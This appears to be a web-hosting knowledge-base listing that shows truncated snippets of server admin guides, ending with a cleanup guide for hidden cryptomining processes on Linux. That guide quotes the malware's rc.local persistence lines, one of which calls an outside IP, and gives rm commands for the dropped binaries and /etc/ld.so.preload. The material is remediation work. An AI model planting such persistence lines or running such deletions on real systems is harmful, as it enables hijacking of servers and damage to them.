How To Use Content Filtering In SmarterMail

This tutorial will guide you on how to use the content filtering features in Smartermail. You may filter anything (e.g. email address, subjects and etc) according to your preferences.   Here are the steps to find the Content Filtering feature: 1. Login to your SmarterMail Webmail 2. After login, go to More > Domain settings 3.

How to disable SELinux

Introduction SELinux (Security-Enhanced Linux) is a security module in the Linux kernel that provides a mechanism for supporting access control security policies. By default, SELinux is set to ‘Enforcing’ mode, which can restrict certain operations on the system. In some scenarios, you might need to disable SELinux. This guide will show you how to disable

How to disable root access in CentOS?

Warning: CentOS 7 reached its end-of-life (EOL) on June 30, 2024. This means it no longer receives security updates or support from the developers. It is strongly recommended to upgrade to a supported operating system version, such as CentOS Stream 9 or an alternative Linux distribution, to maintain security and stability. Introduction Directly using the

Enable ModSecurity for Directadmin (Enchanced Skin)

Introduction This guide provides step-by-step instructions on how to enable a custom HTTPD configuration in DirectAdmin. Custom HTTPD configurations allow you to make specific adjustments to your web server settings for individual domains. Follow these simple steps to enable the configuration for your desired domain:   1. Log in to DirectAdmin. 2. Under the Admin

Fixing high server loads caused by mining processes in Linux

If you encounter an abnormal high load process in your server, it may be due to hidden mining processes. vi /etc/rc.local Check for the following 2 lines in the file and remove it: nohup /usr/bin/_-pud 119.78.232.8 >/dev/null& nohup /usr/bin/_-minerd -c /usr/bin_-config 2> /dev/null& Remove the following files: rm /usr/bin/_-minerd rm /usr/bin/_-pud rm /usr/bin/_-config rm /etc/ld.so.preload